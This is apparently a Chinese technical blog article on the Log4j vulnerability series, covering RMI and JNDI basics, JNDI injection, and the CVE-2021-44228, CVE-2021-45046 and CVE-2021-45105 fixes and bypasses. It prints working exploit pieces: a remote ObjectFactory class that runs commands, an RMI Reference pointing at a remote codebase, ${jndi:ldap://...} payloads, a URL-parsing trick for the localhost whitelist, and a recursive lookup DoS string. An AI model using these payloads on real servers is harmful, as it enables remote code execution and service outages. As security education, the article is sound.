log4j系列漏洞的前世今生
引言
2021年12月9 日,我相信这天对很多程序员来说可能都挺难忘的,毕竟这天可能都加班了😂。
为什么一个 Apache Log4j
的远程代码执行漏洞会弄得像整个互联网都跟破了一个洞似的呢?
从功能上来说,它只是一个日志记录组件,再微小不过的一个基础库。
但是当程序中的大多数都选择了它来记录程序的活动日志之后,事情便开始变得不一样了起来。
用广为流传的一张图来形容的话也许是这样的:
也许你不知道的是,早在这个漏洞爆发的半年前,美国总统就采取行政措施来让其关键基础设施单位出具软件物料清单 (SBOM) 的最小元素了。
美国出台这样的政令是因为当时的 SolarWinds
的安全事件,
那么我们又会因为什么样的安全事件爆发呢?
OK、话只能说到这个程度,我们还是赶紧来看看这个洞吧😂。
漏洞原理
在理解这个漏洞之前,需要有一些 Java
安全的基础。
具体来说就是这么几个东西:
RMI
、JNDI
、JNDI Reference
0x01. 什么是 RMI ?
-
通俗理解 RMI
RMI
(Remote Method Invocation)
是Java
中远程方法调用的简称,能够帮助我们查找并执行远程对象的函数方法。通俗地说,远程调用就相当于实现了这样一个功能。假设服务端A
上有一个编译好的Java
代码,也就是字节码class
文件放在服务端机器上,然后在客户端机器B
上想要去调用这个class
文件中的函数方法,那么为了解决这个问题,Java
就实现了一套机制来让大家可以很方便的从一个JVM
中去调用另一个JVM
中的远程对象的方法,而这样一套远程调用机制实际上也是Java
中分布式编程的核心思想。
下面是 RMI 相关的一些概念:
-
RMI 基础概念
-
Stub 和 Skeleton: RMI 中的客户端和服务端实际上并不直接通信。客户端与远程对象之间通过代理的方式来进行 socket
通信。故两端分别为远程对象生成了客户端代理和服务端代理,其中位于客户端的代理类简称为Stub
即存根(存根中包含了与服务端Skeleton
通信的信息)、而位于服务端的代理类则称为Skeleton
即骨架。 -
RMI Registry: RMI 注册表,实际上就相当于一个 HashMap
、里边保存的是public_name
,Stub_object
键值对。默认监听在1099
端口上,RMI 客户端
通过Name
向RMI Registry
查询从而获取到绑定在这个名字上对应的Stub
存根。在Java
中主要通过工具类java.rmi.Naming
来方便的操作注册和操作。 -
远程对象: 远程对象即存在于 RMI 服务端
中以供客户端来调用其方法的对象。任何可以被远程调用的对象都必须实现java.rmi.remote
接口,远程对象的实现类必须继承UnicastRemoteObject
类。同时这个远程对象中可能有很多个函数,但是只有在远程接口中声明的函数才能被远程调用,其它的公共函数则只能在本地的JVM
中使用。 -
RMI 通信交互流程
-
首先是 RMI服务端
创建远程对象,此时Skeleton
随机监听在一个端口上,以供客户端
调用 -
RMI Registry
启动,注册远程对象,通过Name
和远程对象
进行关联绑定,以供客户端
进行查询 -
客户端
对RMI Registry
发起请求,根据提供的Name
得到Stub
-
Stub
中就包含有前边注册的与Skeleton
中的远程对象通信的信息(地址、端口等),Stub
与Skeleton
两者建立通信、Stub
作为客户端代理请求服务端代理Skeleton
并进行远程方法调用 -
服务端代理 Skeleton
调用远程方法,调用结果先返回给Skeleton
、Skeleton
再返回给客户端代理Stub
,Stub
再返回给客户端
本身,从客户端
看来就好像是Stub
在本地执行了这个方法一样
-
RMI 参数和返回值的传递方式
RMI 的参数和返回值只允许有两种情况:
一种是在服务器端与客户端之间传送的方法参数或返回值,是远程对象。
另一种则是在服务器端与客户端之间传送的方法参数或返回值是可序列化对象或基本类型数据。那么直接传递的则是该对象的序列化数据,也就是说,接收方得到的是发送方的可序列化对象的复制品。
除这两种外的参数和返回值,在进行远程方法调用时就会抛出
UnmarshalException
的异常。
-
当参数和返回值是远程对象时(即对象中实现的是
Remote
接口),在上边这个流程中传递给接收方的就是一个存根对象。 -
当参数和返回值是序列化对象或基本数据类型时(即对象中实现的是
Remote
接口),在上边这个流程中传递给接收方的则是相关对象的复制品。
-
RMI 动态类加载特性
远程对象一般分布在服务器端,有时也可能是客户端来创建远程对象,也就是前边这个流程图中换成是在 Client
这端创建的远程对象,而这时可能就是服务端去查找客户端注册的远程对象来调用其方法。
当客户端调用远程对象的方法时,如果在客户端中不存在远程对象所依赖的class
文件、远程方法的参数和返回值对应的 class
文件,客户端就会从java.rmi.server.codebase
系统属性指定的 URL
位置动态加载该类文件。
同理,当服务器端访问客户端的远程对象时,如果服务器端不存在相关的class
文件,服务器端就会从 java.rmi.server.codebase
属性指定的 URL
位置动态加载它们。
此外,当服务器向 RMI Registry
注册远程对象时,RMI Registry
也会从java.rmi.server.codebase
属性指定的 URL
位置动态加载相关的远程接口的类文件。
为什么会有这样的动态加载特性呢?
这是由于 RMI
在实际应用中,一个服务器可能有数十个、数百个或者数千个的客户端,如果在每个客户端上都要保存所有可能会调用的远程对象的类文件的话,就会给软件的升级和维护带来麻烦,因为当一个类被修改后,就必须更新所有客户端的类文件。并且把服务器端的类文件事先放置在所有客户端的本地文件系统中也很不安全。
但是当存在这样的动态加载特性后,随着 Java
的版本更迭,JNDI
开始随着JNDI SPI
扩展开始支持 RMI
、LDAP
等服务 ,才导致 log4j
的开发者可能没考虑到这样的扩展性,继而出现 log4shell
这样的核弹级漏洞。
-
RMI 的攻击面
在了解了前面关于 RMI 的一些关键的概念之后,自然地,广大的安全研究人员总结出了这样一些攻击 RMI 的思路:
下面我们来看 JNDI。
0x02. 什么是 JNDI ?
-
理解 JNDI
JNDI
(Java Naming and Directory Interface)
全称Java
命名和目录访问接口,是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。简单点说,JNDI 就是一组
API
接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI
、LDAP
、CORBA
等等。
实际上 JNDI
这种命名和目录服务接口它解决了一个什么问题呢?就是一个去耦合的问题。
比如说我们的 WEB 应用中用到了数据库,在没有 JNDI 之前我可能需要这样去连接:
public static void main(String[] args) throw ClassNotFoundException, SQLException{
String URL = "jdbc:mysql://127.0.0.1:3306/wuya?useUnicode=true&characterEncoding=utf-8";
String USER = "root";
String PASSWORD = "123456";
// 1. 加载驱动程序
Class.forName("com.mysql.jdbc.Driver");
// 2. 获得数据库连接
Connection conn = DriverManager.getConnection(URL, USER, PASSWORD);
// 3. 通过数据库的连接操作数据库,以实现增删改查
Statement st = conn.createStatement();
Result rs = st.executeQuery("select * from users where id = 1");
// 4. 处理数据库的返回结果
while(rs.next()){
System.out.println(
"name:" + rs.getString("name")+ "\n"
+"password:"rs.getString("password"));
}
// 关闭资源
rs.close();
st.close();
}
但是实际上作为一个程序员,我工作的重点并不是去关心类似下边这些问题:
-
具体的数据库后台是什么? -
JDBC
驱动程序是什么? -
JDBC URL
格式是什么? -
访问数据库的用户名和口令是什么?
我编写程序应该关注的是单纯的业务逻辑问题,而不是这些配置,资源的连接配置这些问题。
而且假如我的数据库从 mysql
换成 oracle
了,或者我连接的资源这些发生了变动,那么按照前边的代码我可能还得改动很多东西。所以 Java
抽象出了一套这个所谓的 JNDI
命名和目录服务接口。
而这其中的 JNDI SPI
也就是服务提供层就支持这么些服务: DNS
、LDAP
、CORBA
、RMI
等。
所以我们就可以通过 JNDI API
这些接口来通过这个所谓的命名服务 Naming Manager
来达到通过一个名字来查找和访问各种资源的效果。用来定位用户、网络、机器、对象和服务等各种资源。屏蔽掉访问底层资源的细节,隔离实际的数据源或其它资源,来方便业务的维护。
也就是前边的连接数据库这种操作,可能我们用了 JNDI
之后只需要改成这样一行就可以了:
spring.datasource.jndi-name="jdbc/exampleDB"
而这里这个 exampleDB
就是命名服务中的名字 Name
,对应的访问数据库这个资源的服务则是 JNDI
就帮我们做了。
-
JNDI 安全角度的理解
当然,前边是从 JNDI 实际的作用来理解的。
而从安全角度来看的话,实际上可以说 JNDI = RMI + Reference。
这也是为什么前边要费这么多篇幅来讲解 RMI 的缘故。
因为实际上, JNDI
的底层实现与 RMI
是类似的,只不过 JNDI
中采取的不是前边说的 RMI
的代理模式这种设计模式,而是类似 RMI
的工厂模式的设计模式:
有了这张图,我们再来理解 JNDI
的使用流程就方便多了。
-
JNDI 使用流程
JNDI
使用流程最重要的就是两步:
-
发布命名服务 bind
操作:这里的服务也就是前边提到的JNDI SPI
中的各种服务,其实与RMI
中的注册远程对象异曲同工。只不过在RMI
中只能注册的是远程对象,而这里是将资源和对象跟一个名字绑定起来然后存到一个类似HashMap
的数据结构里边存起来。
比如这里假设要 bind
的是一个RMI
服务,这个 RMI
服务中要执行的是弹一个计算机的远程对象,则首先可能将下边这样一个Calc.java
先编译成Calc.class
文件并以 http://
托管起来:
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/Calc2"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/Calc1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
public Calc() {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/Calc3"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/Calc4"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
return null;
}
}
然后 JNDI
中执行绑定操作,在这个 JNDI
的服务端,将这样一个服务通过RMI
的方式注册并绑定:
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://222.222.222.222:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper); // 将托管在 http://222.222.222.222:8081 下的 rmi 服务绑定为 hello 的名字
} catch (Exception e) {
e.printStackTrace();
}
}
-
查找命名服务 lookup
操作:实际上JNDI
中的代码查找对象跟RMI
中也是类似的,都是通过什么lookup
这样的API
来根据名字查找到相关的对象或资源。
而此时 JNDI
客户端,也就是一般的 WEB
应用要使用这个 RMI
的服务时则类如如下代码:
//指定需要查找name名称
String jndiName= "jndiName"; //这里 jndiname = rmi://222.222.222.222:1099/hello
//初始化默认环境
Context context = new InitialContext();
//查找该 name 对应的资源
context.lookup(jndiName); //通过 hello 来查找 对应的 rmi 服务以便调用
可以发现当要绑定的是一个 RMI
服务时,JNDI
的整体工作流程基本是跟RMI
中的差不多的。唯一区别就是 JNDI
一律都通过这个 bind
操作来绑定服务,同时在查找对应的服务时则是需要先 InitialContext
再 lookup
查找加载相关资源。当要绑定的是其它的目录服务的时候,例如 LDAP
之类的,实际上也是一样的需要执行这样一个 bind
操作,然后再 lookup
查找调用的流程。
那么回想一下前边说的 JNDI = RMI + Reference
, 这个 Reference
又是什么意思呢?
-
JNDI 动态地址转换与 JNDI Naming Reference
JNDI Naming Reference (JNDI 命名引用)
实际上这就是一个实现类似
RMI
中动态类加载特性的一个工具类。在 JNDI 服务中,RMI 服务端除了直接绑定远程对象之外(JAVA 序列化传输对象到远程服务器),还可以通过命名引用的方式通过绑定,由命名管理器进行解析的一个引用。引用由
References
类来绑定一个外部的远程对象(当前名称目录系统之外的对象),绑定了Reference
之后,服务端会先通过Referenceable.getReference()
获取绑定对象的引用,并且在目录中保存,当客户端在lookup()
查找这个远程对象时,客户端会获取相应的object factory
,最终通过factory
类将reference
转换为具体的对象实例。
//指定需要查找name名称
String jndiName= "jndiName"; //这里 jndiname = rmi://222.222.222.222:1099/hello
//初始化默认环境
Context context = new InitialContext();
//查找该 name 对应的资源
context.lookup(jndiName); //通过 hello 来查找 对应的 rmi 服务以便调用
比如以我们前边执行 lookup
操作的代码来说,就是当我们调用 lookup()
方法时,正常而言的话,lookup
方法的参数应该是一个命名服务中的这个 Name
,也就是前边绑定的那个 Calc.class
的 RMI
服务应该是这样被调用的:
context.lookup(hello);
context.lookup("rmi://222.222.222.222:1099/hello")
那么客户端也会自己根据对应的协议来将这个 url
解释成一个 RMI
服务,并根据前边 JNDI
服务端提供的RMI-Registry
中的url
http://222.222.222.222:8081
处去尝试加载。
了解这两点 JNDI
的特性之后我们才能谈所谓的 JNDI
注入。
0x03. 什么是 JNDI 注入?
实际上
JNDI
注入应该叫作Java Naming Reference
注入。
具体的过程如下:
当有客户端通过 lookup("refObj")
获取远程对象时,如果获取到的是一个Reference
存根 Stub
, 由于是 Reference
的存根,所以客户端会先在本地的 classpath
中去检查是否存在类 refClassName
, 如果也不存在才会去指定的 url
中动态加载。
这也是为什么前边想执行远程加载然后弹一个计算器的这个恶意 class
文件中需要实现 ObjectFactory:
以及在绑定时需要绑定为 Reference
类并通过其相关 API
封装的原因:
理解了这两点之后,自然地,一个常见的类似下图这样的'JNDI' 注入攻击流程也就不难理解了:
最后,JNDI
注入攻击有几个注意事项:
-
JNDI
的客户端(也就是 Java web 应用服务端) 使用了lookup
且lookup
的参数动态可控 -
在 JNDI
客户端访问到对应的JNDI SPI
服务时不存在该对象,所以才会远程加载 -
JNDI
注入利用的几种方式(JNDI+RMI/JNDI+LDAP
...)与JDK
版本有关 -
JNDI
注入与一些配置有关:比如说是否允许远程加载类这个配置
理解了 JNDI
注入攻击的原理之后,下面我们来看 Log4shell
这个洞以及后续相关的漏洞发展历程。
CVE-2021-44228
0x01. 漏洞成因
-
log4j2
中任意的logger.error()
、logger.info()
等looger
系的记录日志的API
在将数据记录到日志中时,将${
开头的字符作为是否传递到JNDI
中的lookup()
函数中去的标识符。org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
同时在后续对相关参数的处理中也没有进行任何的白名单校验或黑名单过滤,这就导致
lookup(Name)
中的这个Name
完全可控,达成前边讲到的JNDI
注入攻击的条件: -
log4j2
中默认是开启这样的JNDI-lookup
功能的,也就是不管什么级别的记录日志的操作它都会去判断是否存在lookup
的标识符${
, 实际上这一点是一个不当的功能设计,既浪费程序资源,也是导致这个漏洞这么严重的原因之一。 -
log4j2
中处理日志时是按照:
分隔,递归解析日志中的每个${
开头的日志的,也就是说假如需要记录的日志是类似${rmiUrl1}:${rmiUr2}:${rmiUr3}:.......
这样的数据时,它就会先将第一个${rmiUrl1}
提出来执行一次lookup
、然后又将第二个${rmiUrl2}
提出来执行一次lookup
,不断递归调用直到处理完要记录的数据中的${
开头的字符。
StrSubstitutor.subtute
方法递归处理日志输入,转为对应的输出:
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List
priorVariables) { ...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
当然,一句话总结的话,这其实就是个简单的 JNDI
注入,只不过 payload
前边要加个 ${
而已。
0x02. 修复方式
2.15.0-RC1 版本修复方式
这个版本的修复可以说差不多是当天刚出来就被绕过了,官方主要做了这么几点来修复漏洞:
-
通过更改原来的处理日志记录数据的
MessagePatternConverter
改成了一个新的类MessagePatternConverter.SimplePatternConverter
, 同时里边将原来的那种判断${
然后去调用lookup
的操作变成了拼接字符的操作,这样就导致默认情况是不会处理${
这种情况。private static final class SimpleMessagePatternConverter extends MessagePatternConverter {
private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
// 直接拼接字符串
if (msg instanceof StringBuilderFormattable) {
((StringBuilderFormattable) msg).formatTo(toAppendTo);
} else if (msg != null) {
toAppendTo.append(msg.getFormattedMessage());
}
}
}
但是又保留了一个子类叫
LookupMessagePatternConverter
,而如果Converter
被设置成这个类的话就还是会继续执行${
相关的那一套操作:private static final class LookupMessagePatternConverter extends MessagePatternConverter {
private final MessagePatternConverter delegate;
private final Configuration config;
LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {
this.delegate = delegate;
this.config = config;
}
public void format(final LogEvent event, final StringBuilder toAppendTo) {
int start = toAppendTo.length();
delegate.format(event, toAppendTo);
// 判断${}
int indexOfSubstitution = toAppendTo.indexOf("${", start);
if (indexOfSubstitution >= 0) {
config.getStrSubstitutor()
// 进入了上文的流程
.replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);
}
}
}
而将这个
converter
类设置成什么子类则取决于用户的配置:private static final String LOOKUPS = "lookups";
private static final String NOLOOKUPS = "nolookups";
public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
boolean lookups = loadLookups(options);
String[] formats = withoutLookupOptions(options);
TextRenderer textRenderer = loadMessageRenderer(formats);
// 默认不配置lookup功能
MessagePatternConverter result = formats == null || formats.length == 0
? SimpleMessagePatternConverter.INSTANCE
: new FormattedMessagePatternConverter(formats);
if (lookups && config != null) {
// 只有用户进行配置才会触发
result = new LookupMessagePatternConverter(result, config);
}
if (textRenderer != null) {
result = new RenderingPatternConverter(result, textRenderer);
}
return result;
}
-
在调用
lookup
操作前的JndiManager.lookup
这里加了一些白名单,让传入的Host
只能是localhost
, 同时不允许Reference
类加载,并设置了类名白名单只能是八大基本数据类型,即禁止了ObjectFactory
类,以及协议白名单java
、ldap
、ldaps
以此来阻止JNDI
注入加载远程对象。public synchronized
T lookup(final String name) throws NamingException { try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
// 允许的协议白名单
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
// 允许的host白名单
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
Map
attributeMap = new HashMap<>(); NamingEnumeration enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
// 所以不会进入类白名单判断
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
// 类名白名单
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
// 不允许REFERENCE这种加载对象的方式
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
2.15.0-RC1 版本绕过方式
一般来说,按照前边那样一套 白名单 + 修复默认配置 的修复操作,应该是没啥大问题了的。
但是最后的这个 jndiManager.lookup
中的这个白名单因为一个小问题导致了白名单被绕过:
public synchronized
T lookup(final String name) throws NamingException { try {
URI uri = new URI(name);
...
} catch (URISyntaxException ex) { // 这里捕获了 new URI(name) 时的异常但是没有进行任何的处理
// This is OK.
}
return (T) this.context.lookup(name);
}
由于这里捕获了异常但是没有进行任何的处理或者 return
操作,导致只要在new URI(name)
时一旦发生异常,就可以直接将程序逻辑跳到最后的 return (T) this.context.lookup(name)
, 从而让这里省略号里一堆的白名单判断形同虚设。
那么什么样的 jndiName
,能使得 new URI(jndiName)
发生异常,但是执行context.lookup(jndiName)
又能正常执行呢?
由于 lookup
操作与 new URI
操作存在解析差异,所以在 payload
中加入一个空格就能够满足我们的条件,这也是为什么在 github
上最开始公布的 poc
仓库中看到的 payload
是这样的:
${jndi:ldap://127.0.0.1:1389/ badClassName}
2.15.0-RC2 版本修复方式
所以官方立即出了 RC2
修复版本也就是 2.15.0
稳定版:
try{
} catch (URISyntaxException ex) {
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
return (T) this.context.lookup(name);
在异常里直接 return
、有效解决了前边所说的绕过。
0x03. 影响范围
RCE
2.0 < Apache log4j2
<= 2.14.1
开发人员开启 lookup配置情况下可 RCE
2.14.1 < Apache log4j2
< 2.15.0-RC2
供应链影响范围,由于涉及组件过多,较难统计,所以这里建议可以直接通过一些在线网站进行查询:
https://log4j2.huoxian.cn/layout
CVE-2021-45046
0x01. 漏洞成因
新的攻击场景从而 DDos
在前边分析最开始的 CVE-2021-44228
时,我们说过漏洞成因里边有一个原因在于递归解析并执行 JNDI Lookup
操作。
而 JNDI lookup
操作本质上来说也是网络请求,即使当官方发布了 2.15.0-RC2
版本之后,它的 Host
白名单生效了,但是 localhost
也一定在白名单中。
而直到官方发布 2.15.1-RC1
即 2.15.0
正式版时,如果开启了 lookup
配置的情况下这样的递归解析操作还是存在,就还是可能被 DDos
。这也许是Apache
官方会又分配了一个 CVE
编号 CVE-2021-45046
的 第一个原因。
不过这样一个 DDos
比较有趣的地方在于不是发生在前边被官方修复过默认记录日志消息的 lookup
调用中。因为在默认记录的处理流程中,存在异常捕获。所以最常见的调用记录日志的 API
中是并不会触发 DDos
的。
那么这又是如何引起 DDos
的呢?
关键就在于在 Log4j2
中,在配置日志格式的时候,可以通过需要配置变量来打印日志时间、打印线程上下文等。
而且这样的对配置文件或者线程上下文也支持对其配置内容进行 lookup
操作,同时与前边提到的默认记录日志消息的 lookup
操作完全是两个分支。
比如说前边调用情况最普遍的是处理日志消息的 MessageConverter
这个类,而这里记录线程上下文的则是 LiteralPatternConverter
这个类,并且其中也开启了 lookup
功能:
而类似这样记录线程上下文的这种 ctx
的记录方式通常情况下确实是开发人员普遍可能会存在的一种写法,比如说将用户登录 ID
记录到线程上下文中:
public String test(String userId) {
try {
String id = new String(Base64.getDecoder().decode(userId));
// 记录用户登录ID
ThreadContext.put("loginId", id);
// 记录该用户已登录
logger.info("user login");
// 其他业务逻辑
// ...
} catch (Exception e) {
return e.getMessage();
}
return "";
}
同时如果用户登录 ID
参数被攻击者抓包篡改为类似这样的 payload:
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}
这就确实存在导致 DDos
的利用场景。所以这可能是 Apache
给这个 DDos
漏洞分配 CVE
编号的 第二个原因。
不过尽管如此,这个漏洞还是需要至少两个条件才能构成 DDos:
-
程序员采取的 ThreadContext
的这种方式来记录用户传入的数据 -
程序员在日志记录中配置为会调用 lookup
所以最初该漏洞只给了 3.0
的漏洞评分,总的来说,还是个鸡肋 DDos。
绕过所有白名单修复 RCE
在 CVE-2021-45046
这个 DDos
漏洞公布后不久。突然 Apache
官方又将这个漏洞升级为 RCE
漏洞了,并将该漏洞评分升级为 9.0。
这又是什么原因呢?
回顾前边 Apache
官方对 CVE-2021-44228
中关键核心方法jndiManager.lookup
的修复:
-
allowedProtocols
:只允许协议java
、ldap
、ldaps
-
allowedHosts
:只允许主机为本机 IP127.0.0.1
、localhost
等 -
allowedClasses
:LDAP 服务器的返回包中javaClassName
只允许为基本数据类型的类,比如java.lang.Boolean
、java.lang.Byte
、java.lang.Short
等等。(其实这个限制意义不大,后面会说) -
不能加载远程 ObjectFactory
类
同时 2.15.0
正式版中,已经无法通过设置log42.formatMsgNoLookups
为 false
来开启 lookup
功能了。只能通过在配置文件中指定类似%m{lookups}
来开启:
这个修复方式通过前边分析 DDos
应该不难理解还是可能存在利用场景,所以这一个修复可以先忽略。
那么关键就是怎么绕过 jndiManager.lookup
方法中白名单的问题了。
首先协议白名单里边 ldap
还能用,所以不打紧。
另外就是 allowedClasses
设了只允许为基本数据类型的类,以及不能加载远程 ObjectFactory
类。
这两点实际上也不打紧,已经有成熟的绕过技术了,利用 JNDI
注入绕过高版本 JDK
限制的这种方法即可。
可以参考:
https://paper.seebug.org/942/
绕过 objectFactory
这个限制远程加载,主要采取的方法就是在目标环境找存在可被利用的 Java
反序列化 Gadget
构造反序列化链。
而至于这个 allowedClasses
,这个属性的值是从 LDAP
服务器返回的数据里取的,而且这个属性的值对于后续的漏洞利用毫无影响,只要修改一下 LDAP
服务端的代码,将该值的属性改为满足 log4j2
中要求的值即可。
所以实际上最关键的就一点,如何绕过 localhost
的限制。
这就不得不提到台湾黑客 Orange
在 2017
年的 BlackHat
大会上提到的一个攻击技术了: Abusing URL Parsers
可以参考:
# A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
# exploiting-url-parsing-confusion
https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
这个技术核心的思想就是在不同语言或者不同中间件等其中的 URL
解析器对于 URL
的处理方式可能存在差异。
比如说在 Java
中就存在这样的情况:
URI uri1 = new URI("ldap://127.0.0.1#@jndi.fkbug.com:1389/badClassName");
System.out.println(uri1.getHost());
URI uri2 = new URI("ldap://127.0.0.1#jndi.fkbug.com:1389/badClassName");
System.out.println(uri2.getHost());
URI uri3 = new URI("ldap://127.0.0.1#jndi.fkbug.com:1389/badClassName");
System.out.println(uri3.getHost());
// 全部都会打印:127.0.0.1
当这里的这个 fkbug.com
的子域名 jndi.fkbug.com
或者 xxx.fkbug.com
等都开启了泛域名解析时,让这些子域名都解析到同一个 IP
上,那么在Java
中,Java
的 URL
解析器会将 127.0.0.1#
当成是一个域名,而在进行 LDAP
访问时去访问真正攻击者的 IP: jndi.fkbug.com
,而在通过 url.getHost()
进行白名单校验时则会当成 127.0.0.1
来验证从而绕过 localhost
这样一个白名单。
当然,尽管这些绕过方式思路、技巧都很厉害,但是要总结的话,这也是个鸡肋 RCE。
0x02. 修复方式
所以官方又出了后续的 Apache log4j2 2.16.0
版本。
这一版本修复方式可以说极其粗暴了:
-
默认关闭了
JNDI
、同时官方直接建议大家不要开JNDI
了: -
在
MessagePatternConverter
中直接将消息的lookup
功能给移除了:
0x03. 影响范围
DDos
2.0 <= Apache log4j2
< 2.16.0
-
将用户可控参数通过线程上下文的方式来调用的日志记录中 -
同时记录日志的配置配置为类似 %m{lookups}
的形式来主动开启lookup
功能
RCE
2.0 <= Apache log4j2
< 2.16.0
-
将用户可控参数通过线程上下文的方式来调用的日志记录中 -
同时记录日志的配置配置为类似 %m{lookups}
的形式来主动开启lookup
功能 -
攻击者可以在目标环境中构造出反序列化链、同时可能还只能在一些 Linux
的发行版及Mac
的服务器下才行
CVE-2021-45105
0x01. 漏洞成因
从 Apache log4j2 2.16.0
的修复我们知道, JNDI lookup
基本上是不可能执行网络操作了。
所以关于这个 Dos
漏洞其实还是利用的最开始我们分析 CVE-2021-44228
中所说的递归解析这个问题。
首先这个漏洞也是需要走前边说过的线程上下文这个记录分支,即当PatternLayout
使用 $${ctx:xxx}
从 context
上下文获取用户输入的时候才能进行利用,也就是也得是非默认配置才行。
配置文件需要是这样的:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d %p %c{1.} [%t] $${ctx:loginId} %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
关键就是这里的这个 $${ctx:loginId}。
当传入的参数为类似这样的参数时,首先会进入到前边所说的递归解析的 StrSubstitutor.subtute
这个函数里边处理。
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List
priorVariables) { ...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables); // 这里递归进行解析
}
StrSubstitutor
类主要进行字符的替换。而 StrLookup
类负责在线程上下文中进行查找。
当配置文件设置为 ${ctx:loginId}
这种形式时。
-
${ctx:loginId}
传入到StrSubstitutor
类中,然后这个类会在线程上下文中持续的查找这里冒号后面的这个值,也就是loginId
这个变量在线程上下文中的值 -
然后
StrSubstitutor
这个类在线程上下文中找到loginId
对应的值了,也就是传入的${ctx:loginId}
,然后它会把logind
在线程上下文中的值替换成刚刚找到的值${ctx:loginId}
,也就是又替换成了我们原来传入的${ctx:loginId}
-
然后,线程上下文中的字符串相当于就没变,还是
${ctx:loginId}
,所以StrSubstitutor
又去查找线程上下文中的这个loginId
变量,开始无限循环
如果只是这样的话, 本来也是还有 StrSubstitutor
类里边的checkCyclicSubstitution
方法的检测的。检测到存在这样的递归后就会抛出 java.lang.illegalStateException
的异常。
但是后边有人发现可以通过 lookup
函数中的另一个功能可以绕过这个checkCyclicSubstitution
方法中的检测来造成无线循环。最终导致java.lang.StackOverflowError
也就是栈溢出,能直接让 log4j2
日志程序崩溃。
而这个绕过的关键就在于 Lookup
函数的默认值。
Lookup
虽然在前边已经删除掉相关的 JNDI
解析的功能了。没办法进行 JNDI
注入了,但是 lookup
默认还支持这样的格式:
${lookupName:key:-defaultValue}
也就是可以给 lookup
设定默认值。
这里这个 lookupName
就是要执行的查找名称或者类型,比如说这里设置为 ctx、env
就是从线程上下文或者环境变量中查找。
然后这个 defaultValue
本来是一个可选值,而当设置了这个默认值时,在 Substitutor
类中处理时如果通过前边的这个 lookupName
在线程上下文中没找到这个键的话,它就会尝试把这个默认值当成键来查找。
所以假如把前边那个 payload
改一下的话就是下面这个样子:
${ctx:loginId1}:-${ctx:loginId}}
然后:
-
Substitutor
这个类就会在线程上下文中找loginId
对应的值,第一次这个值是${ctx:loginId1}:-${ctx:loginId}}
-
然后会经过 lookup
中查找jndiName
这种方式,但是由于jndiName
中并没有这个loginId1
这个命名服务了,所以它就会按照默认值${ctx:loginId)
来进行查找。也就是又去查找这个loginId
, 那就又回到第一步了,但是通过这种方式就绕过了checkCyclicSubstitution
